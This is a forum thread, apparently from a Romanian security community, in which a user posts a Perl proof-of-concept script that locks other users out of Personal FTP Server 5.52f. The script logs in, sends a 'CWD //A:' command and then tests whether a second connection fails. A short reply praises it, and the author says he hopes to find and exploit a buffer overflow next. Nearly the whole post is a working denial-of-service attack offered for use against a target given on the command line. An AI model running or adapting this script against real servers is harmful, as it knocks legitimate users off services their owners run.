Personal FTP Server bug

[escalation666]

#!/usr/bin/perl

#Personal FTP Server 5.52f bug

#PoC by 35c666

#Download: http://www.michael-roth-software.de

#It's rather a bug then a DoS which consist in denying other users access to the ftp server, after a previous user triggered a //A: command

#Greetz to all RST members at http://rstzone.net

use Net::FTP;

(($target = $ARGV[0])) || die "usage:$0 <target> <port>";

my $user = "test";

my $pass = "test";

$expl = "//A:";

$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "Nu m-am putut conecta: $!";

$ftp->login($user,$pass) || die "Nu m-am putut loga: $!";

print "M-am logat!\n";

$ftp->command("CWD", $expl);

print "Lansez comanda in executie...\n";

print "Incerc sa ma conectez din nou..\n";

$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "Userul 2 nu se mai poate conecta: $!";

$ftp->quit;

[kw3rln]

frumos ..

[escalation666]

thx....sper ca in curand sa gasesc si un Bof....si sa reusesc sa-l exploatez bineinteles...